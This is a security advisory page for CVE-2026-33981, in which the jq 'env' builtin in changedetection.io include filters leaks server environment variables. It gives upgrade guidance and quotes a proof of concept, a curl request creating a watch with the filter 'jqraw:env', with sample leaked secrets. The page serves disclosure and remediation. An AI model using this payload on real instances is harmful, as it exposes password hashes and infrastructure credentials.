CVE-2026-33981: Changedetection.io Changedetection.io Discloses Environment Variables Vulnerability

HIGH
Advisory Identifier: GHSA-58r7-4wr5-hfx8
CWE-200
Published
Advisory Summary

CVE-2026-33981 is a HIGH changedetection.io discloses environment variables vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Changedetection.io libraries in the PyPI ecosystem. The issue involves changedetection.io discloses environment variables via jq env builtin in include filters. Remediation is available by upgrading affected packages to version 0.54.7.

CVE-2026-33981 at a Glance

CVE Identifier CVE-2026-33981
GHSA Identifier GHSA-58r7-4wr5-hfx8
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Affected Product Changedetection.io
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-33981

To remediate this vulnerability, upgrade all affected Changedetection.io dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

changedetection.io fixed: 0.54.7
pip install changedetection.io>=0.54.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show changedetection.io

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-33981, inspect your installed packages using pip:

pip show changedetection.io

Analyze the terminal output to locate any version of Changedetection.io in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.54.7), your application is affected.

Note: The pip show changedetection.io command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Changedetection.io, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `jq:` and `jqraw:` include filter expressions allow use of the jq `env` builtin, which reads all process environment variables and stores them as the watch snapshot. An authenticated user (or unauthenticated user when no password is set, the default) can leak sensitive environment variables including `SALTED_PASS`, `PLAYWRIGHT_DRIVER_URL`, `HTTP_PROXY`, and any secrets passed as env vars to the container. ### Details **Vulnerable file:** `changedetectionio/html_tools.py`, lines 380-388 User-supplied jq filter expressions are compiled and executed without restricting dangerous jq builtins: ```python if json_filter.startswith("jq:"): jq_expression = jq.compile(json_filter.removeprefix("jq:")) match = jq_expression.input(json_data).all() return _get_stripped_text_from_json_match(match) if json_filter.startswith("jqraw:"): jq_expression = jq.compile(json_filter.removeprefix("jqraw:")) match = jq_expression.input(json_data).all() return '\n'.join(str(item) for item in match) ``` The form validator at `forms.py:670-673` only checks that the expression compiles (`jq.compile(input)`) — it does not block dangerous functions. The jq `env` builtin reads all process environment variables regardless of the input data, returning a dictionary of every env var in the server process. ### PoC **Step 1 — Create a watch for any JSON endpoint with `jqraw:env` as the include filter:** ```bash curl -X POST http://target:5000/api/v1/watch \ -H "Content-Type: application/json" \ -H "x-api-key: <api-key>" \ -d '{ "url": "https://httpbin.org/json", "include_filters": ["jqraw:env"], "time_between_check": {"seconds": 30} }' ``` If no password or API key is set (the default), no authentication is needed. **Step 2 — Wait for the watch to be checked, or trigger a recheck:** ```bash curl "http://target:5000/api/v1/watch/<uuid>?recheck=true" -H "x-api-key: <api-key>" ``` **Step 3 — The processed text file on disk now contains all environment variables:** ``` {'SALTED_PASS': '...hashed password...', 'PLAYWRIGHT_DRIVER_URL': 'ws://browser:3000', 'HTTP_PROXY': 'socks5h://10.10.1.10:1080', 'SHELL': '/bin/bash', 'HOME': '/root', 'PATH': '...', 'WERKZEUG_SERVER_FD': '22', ... and all other env vars} ``` The data is visible in the web UI when viewing the watch's latest snapshot, and is also included in notification messages if notifications are configured. **Confirmed on v0.54.6:** The processed text file stored 46 environment variables from the server process. ### Impact - **Secret exposure:** Leaks `SALTED_PASS` (password hash used for authentication), enabling offline cracking or direct session forgery - **Infrastructure credential theft:** Leaks `PLAYWRIGHT_DRIVER_URL`, `WEBDRIVER_URL`, `HTTP_PROXY`/`HTTPS_PROXY`, database connection strings, and any API keys or tokens passed as environment variables - **Cascading access:** Leaked proxy credentials or browser automation URLs can be used to pivot into other internal systems - **Affects all deployments using jq:** Any instance where the Python `jq` module is installed (standard in Docker deployments) is vulnerable - **No authentication required by default:** changedetection.io ships with no password and the API accessible without a key, so this is exploitable by any user with network access in the default configuration

CVE-2026-33981 Affected Changedetection.io Versions

1 component(s)
Fixed Versions:
0.54.7
Product / Package Ecosystem Affected Versions Fixed Version
changedetection.io
PyPI
< 0.54.7
0.54.7

References

Frequently Asked Questions

What is CVE-2026-33981?
CVE-2026-33981 is a security vulnerability in Changedetection.io involving Changedetection.io Discloses Environment Variables via jq env Builtin in Include Filters under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Which Changedetection.io versions are affected?
Affected versions include releases prior to 0.54.7 across affected packages: changedetection.io.
What version fixes CVE-2026-33981?
Upgrading to 0.54.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is changedetection.io affected?
Yes, changedetection.io is affected in releases prior to 0.54.7. Upgrade your dependency to 0.54.7 or later.
What CWE is associated with CVE-2026-33981?
CVE-2026-33981 is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.).
How can I check PyPI dependencies for CVE-2026-33981?
Run the dependency tree command: 'pip show changedetection.io'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-58r7-4wr5-hfx8",
  "modified" : "2026-03-30T20:17:53Z",
  "published" : "2026-03-27T19:11:16Z",
  "aliases" : [ "CVE-2026-33981" ],
  "summary" : "Changedetection.io Discloses Environment Variables via jq env Builtin in Include Filters",
  "details" : "### Summary\n\nThe `jq:` and `jqraw:` include filter expressions allow use of the jq `env` builtin, which reads all process environment variables and stores them as the watch snapshot. An authenticated user (or unauthenticated user when no password is set, the default) can leak sensitive environment variables including `SALTED_PASS`, `PLAYWRIGHT_DRIVER_URL`, `HTTP_PROXY`, and any secrets passed as env vars to the container.\n\n### Details\n\n**Vulnerable file:** `changedetectionio/html_tools.py`, lines 380-388\n\nUser-supplied jq filter expressions are compiled and executed without restricting dangerous jq builtins:\n\n```python\nif json_filter.startswith(\"jq:\"):\n    jq_expression = jq.compile(json_filter.removeprefix(\"jq:\"))\n    match = jq_expression.input(json_data).all()\n    return _get_stripped_text_from_json_match(match)\n\nif json_filter.startswith(\"jqraw:\"):\n    jq_expression = jq.compile(json_filter.removeprefix(\"jqraw:\"))\n    match = jq_expression.input(json_data).all()\n    return '\\n'.join(str(item) for item in match)\n```\n\nThe form validator at `forms.py:670-673` only checks that the expression compiles (`jq.compile(input)`) — it does not block dangerous functions. The jq `env` builtin reads all process environment variables regardless of the input data, returning a dictionary of every env var in the server process.\n\n### PoC\n\n**Step 1 — Create a watch for any JSON endpoint with `jqraw:env` as the include filter:**\n\n```bash\ncurl -X POST http://target:5000/api/v1/watch \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-api-key: <api-key>\" \\\n  -d '{\n    \"url\": \"https://httpbin.org/json\",\n    \"include_filters\": [\"jqraw:env\"],\n    \"time_between_check\": {\"seconds\": 30}\n  }'\n```\n\nIf no password or API key is set (the default), no authentication is needed.\n\n**Step 2 — Wait for the watch to be checked, or trigger a recheck:**\n\n```bash\ncurl \"http://target:5000/api/v1/watch/<uuid>?recheck=true\" -H \"x-api-key: <api-key>\"\n```\n\n**Step 3 — The processed text file on disk now contains all environment variables:**\n\n```\n{'SALTED_PASS': '...hashed password...', 'PLAYWRIGHT_DRIVER_URL': 'ws://browser:3000',\n 'HTTP_PROXY': 'socks5h://10.10.1.10:1080', 'SHELL': '/bin/bash',\n 'HOME': '/root', 'PATH': '...', 'WERKZEUG_SERVER_FD': '22',\n ... and all other env vars}\n```\n\nThe data is visible in the web UI when viewing the watch's latest snapshot, and is also included in notification messages if notifications are configured.\n\n**Confirmed on v0.54.6:** The processed text file stored 46 environment variables from the server process.\n\n### Impact\n\n- **Secret exposure:** Leaks `SALTED_PASS` (password hash used for authentication), enabling offline cracking or direct session forgery\n- **Infrastructure credential theft:** Leaks `PLAYWRIGHT_DRIVER_URL`, `WEBDRIVER_URL`, `HTTP_PROXY`/`HTTPS_PROXY`, database connection strings, and any API keys or tokens passed as environment variables\n- **Cascading access:** Leaked proxy credentials or browser automation URLs can be used to pivot into other internal systems\n- **Affects all deployments using jq:** Any instance where the Python `jq` module is installed (standard in Docker deployments) is vulnerable\n- **No authentication required by default:** changedetection.io ships with no password and the API accessible without a key, so this is exploitable by any user with network access in the default configuration",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "changedetection.io"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.54.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.54.6"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-58r7-4wr5-hfx8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33981"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dgtlmoon/changedetection.io/commit/65517a9c74a0cbe1a4661314470b28131ef5557f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dgtlmoon/changedetection.io"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-27T19:11:16Z",
    "nvd_published_at" : "2026-03-27T22:16:22Z"
  }
}